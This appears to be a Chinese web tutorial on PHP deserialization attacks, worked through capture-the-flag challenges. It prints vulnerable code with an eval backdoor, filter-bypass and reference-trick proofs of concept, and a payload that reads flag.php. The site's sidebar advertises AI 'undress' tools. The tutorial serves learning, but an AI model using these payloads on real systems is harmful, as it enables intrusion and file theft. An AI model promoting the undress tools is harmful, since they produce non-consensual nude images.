<?php  


error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new info();  
}  
public function login($u,$p){  
return $this->username===$u&&$this->password===$p;  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class info{  
public $user=&#39;xxxxxx&#39;;  
public function getInfo(){  
return $this->user;  
}  
}  

class backDoor{  
public $code;  
public function getInfo(){  
eval($this->code);  
}  
}  

$username=$_GET[&#39;username&#39;];  
$password=$_GET[&#39;password&#39;];  

if(isset($username) && isset($password)){  
if(!preg_match(&#39;/[oc]:d+:/i&#39;, $_COOKIE[&#39;user&#39;])){  
$user = unserialize($_COOKIE[&#39;user&#39;]);  
}  
$user->login($username,$password);  
}  

可见增加了过滤,过滤例如如下o:123:、c:456:

s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()

正常反序列化肯定会有o和c这种

如果O:后面不跟数字的话就可以把这个绕过去了

这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的

这里把O:后面加上一个加号

<?php  

error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new backDoor();  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class backDoor{  
public $code="phpinfo();";  
public function getInfo(){  
eval($this->code);  
}  
}  

$a=new ctfShowUser();  
//echo urlencode(serialize($a));  
$a=serialize($a);  
$a=preg_replace(&#39;/[oc]+:/i&#39;,&#39;O:+&#39;,$a);  
echo urlencode($a);

19.png

利用&使两值恒等

题目ctfshow web265

<?php  

error_reporting(0);  
include(&#39;flag.php&#39;);  
highlight_file(__FILE__);  
class ctfshowAdmin{  
public $token;  
public $password;  

public function __construct($t,$p){  
$this->token=$t;  
$this->password = $p;  
}  
public function login(){  
return $this->token===$this->password;  
}  
}  

$ctfshow = unserialize($_GET[&#39;ctfshow&#39;]);  
$ctfshow->token=md5(mt_rand());  

if($ctfshow->login()){  
echo $flag;  
}

$ctfshow->login()这个成立才给flag

$ctfshow->token=md5(mt_rand());但是这个是随机的

这个题考察php按地址传参

<?php  
$a=&#39;11&#39;;  
$b=&$a;  
$b=1;  
echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化  
//1

所以我们可以直接这样

<?php  
class ctfshowAdmin{  
public $token;  
public $password;  
public function __construct(){  
$this->password = &$this->token;  
}  
}  
$a=new ctfshowAdmin();  
echo ( urlencode(serialize($a)));

php7.1+反序列化对类属性不敏感

题目来自[网鼎杯 2020 青龙组]AreUSerialz

<?php  

include("flag.php");  

highlight_file(__FILE__);  

class FileHandler {  

protected $op;  
protected $filename;  
protected $content;  

function __construct() {  
$op = "1";  
$filename = "/tmp/tmpfile";  
$content = "Hello World!";  
$this->process();  
}  

public function process() {  
if($this->op == "1") {  
$this->write();  
} else if($this->op == "2") {  
$res = $this->read();  
$this->output($res);  
} else {  
$this->output("Bad Hacker!");  
}  
}  

private function write() {  
if(isset($this->filename) && isset($this->content)) {  
if(strlen((string)$this->content) > 100) {  
$this->output("Too long!");  
die();  
}  
$res = file_put_contents($this->filename, $this->content);  
if($res) $this->output("Successful!");  
else $this->output("Failed!");  
} else {  
$this->output("Failed!");  
}  
}  

private function read() {  
$res = "";  
if(isset($this->filename)) {  
$res = file_get_contents($this->filename);  
}  
return $res;  
}  

private function output($s) {  
echo "[Result]: <br>";  
echo $s;  
}  

function __destruct() {  
if($this->op === "2")  
$this->op = "1";  
$this->content = "";  
$this->process();  
}  

}  

function is_valid($s) {  
for($i = 0; $i < strlen($s); $i++)  
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  
return false;  
return true;  
}  

if(isset($_GET{&#39;str&#39;})) {  

$str = (string)$_GET[&#39;str&#39;];  
if(is_valid($str)) {  
$obj = unserialize($str);  
}  

}

看着很多,其实没什么东西,

关键要利用到这里

大致看了write函数或者read函数,都可以尝试利用得到flag

但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数

__destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法

接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被

is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性

因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

POC如下

<?php  

class FileHandler {  

public $op=2;  
public $filename="flag.php";  
public $content="111";  
pr  
}  

$a = new FileHandler();  

echo urlencode(serialize($a));  

?>

payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D

推荐学习:《PHP视频教程

以上是PHP反序列化入门总结(小白必看)的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

热门话题

如何用PHP搭建社交分享功能 PHP分享接口集成实战 如何用PHP搭建社交分享功能 PHP分享接口集成实战 Jul 25, 2025 pm 08:51 PM

在PHP中搭建社交分享功能的核心方法是通过动态生成符合各平台要求的分享链接。1.首先获取当前页面或指定的URL及文章信息;2.使用urlencode对参数进行编码;3.根据各平台协议拼接生成分享链接;4.在前端展示链接供用户点击分享;5.动态生成页面OG标签优化分享内容展示;6.务必对用户输入进行转义以防止XSS攻击。该方法无需复杂认证,维护成本低,适用于大多数内容分享需求。

PHP集成AI智能图片识别 PHP视觉内容自动标签化 PHP集成AI智能图片识别 PHP视觉内容自动标签化 Jul 25, 2025 pm 05:42 PM

将AI视觉理解能力融入PHP应用的核心思路是利用第三方AI视觉服务API,PHP负责上传图片、发送请求、接收并解析JSON结果,将标签存入数据库;2.图片自动标签化能显着提升效率、增强内容可搜索性、优化管理和推荐,使视觉内容从“死数据”变为“活数据”;3.选择AI服务需根据功能匹配度、准确率、成本、易用性、地域延迟和数据合规性综合判断,推荐从GoogleCloudVision等通用服务起步;4.常见挑战包括网络超时、密钥安全、错误处理、图片格式限制、成本控制、异步处理需求及AI识别准确率问题,需

PHP打造博客评论系统变现 PHP评论审核与防刷策略 PHP打造博客评论系统变现 PHP评论审核与防刷策略 Jul 25, 2025 pm 08:27 PM

1.评论系统商业价值最大化需结合原生广告精准投放、用户付费增值服务(如上传图片、评论置顶)、基于评论质量的影响力激励机制及合规匿名数据洞察变现;2.审核策略应采用前置审核 动态关键词过滤 用户举报机制组合,辅以评论质量评分实现内容分级曝光;3.防刷需构建多层防御:reCAPTCHAv3无感验证、Honeypot蜜罐字段识别机器人、IP与时间戳频率限制阻止灌水、内容模式识别标记可疑评论,持续迭代应对攻击。

如何用PHP结合AI实现文本纠错 PHP语法检测与优化 如何用PHP结合AI实现文本纠错 PHP语法检测与优化 Jul 25, 2025 pm 08:57 PM

要实现PHP结合AI进行文本纠错与语法优化,需按以下步骤操作:1.选择适合的AI模型或API,如百度、腾讯API或开源NLP库;2.通过PHP的curl或Guzzle调用API并处理返回结果;3.在应用中展示纠错信息并允许用户选择是否采纳;4.使用php-l和PHP_CodeSniffer进行语法检测与代码优化;5.持续收集反馈并更新模型或规则以提升效果。选择AIAPI时应重点评估准确率、响应速度、价格及对PHP的支持。代码优化应遵循PSR规范、合理使用缓存、避免循环查询、定期审查代码,并借助X

如何用PHP结合AI做图像生成 PHP自动生成艺术作品 如何用PHP结合AI做图像生成 PHP自动生成艺术作品 Jul 25, 2025 pm 07:21 PM

PHP不直接进行AI图像处理,而是通过API集成,因为它擅长Web开发而非计算密集型任务,API集成能实现专业分工、降低成本、提升效率;2.整合关键技术包括使用Guzzle或cURL发送HTTP请求、JSON数据编解码、API密钥安全认证、异步队列处理耗时任务、健壮错误处理与重试机制、图像存储与展示;3.常见挑战有API成本失控、生成结果不可控、用户体验差、安全风险和数据管理难,应对策略分别为设置用户配额与缓存、提供prompt指导与多图选择、异步通知与进度提示、密钥环境变量存储与内容审核、云存

PHP调用AI智能语音助手 PHP语音交互系统搭建 PHP调用AI智能语音助手 PHP语音交互系统搭建 Jul 25, 2025 pm 08:45 PM

用户语音输入通过前端JavaScript的MediaRecorderAPI捕获并发送至PHP后端;2.PHP将音频保存为临时文件后调用STTAPI(如Google或百度语音识别)转换为文本;3.PHP将文本发送至AI服务(如OpenAIGPT)获取智能回复;4.PHP再调用TTSAPI(如百度或Google语音合成)将回复转为语音文件;5.PHP将语音文件流式返回前端播放,完成交互。整个流程由PHP主导数据流转与错误处理,确保各环节无缝衔接。

如何用PHP开发AI驱动的广告投放 PHP广告效果优化方案 如何用PHP开发AI驱动的广告投放 PHP广告效果优化方案 Jul 25, 2025 pm 06:12 PM

PHP通过收集用户数据(如浏览历史、地理位置)并预处理,为AI模型提供输入基础;2.使用curl或gRPC等技术对接AI模型,获取点击率、转化率预测结果;3.根据预测动态调整广告展示频率、目标人群等策略;4.通过A/B测试不同广告变体并记录数据,结合统计分析优化效果;5.利用PHP监控流量来源、用户行为并与GoogleAds等第三方API集成,实现自动化投放与持续反馈优化,最终提升CTR、CVR并降低CPC,完整实现AI驱动的广告系统闭环。

PHP集成AI语音识别与转写 PHP会议记录自动生成方案 PHP集成AI语音识别与转写 PHP会议记录自动生成方案 Jul 25, 2025 pm 07:06 PM

选择合适AI语音识别服务并集成PHPSDK;2.用PHP调用ffmpeg将录音转为API要求格式(如wav);3.上传文件至云存储并调用API异步识别;4.解析JSON结果并用NLP技术整理文本;5.生成Word或Markdown文档完成会议记录自动化,全过程需确保数据加密、访问控制与合规性以保障隐私安全。

See all articles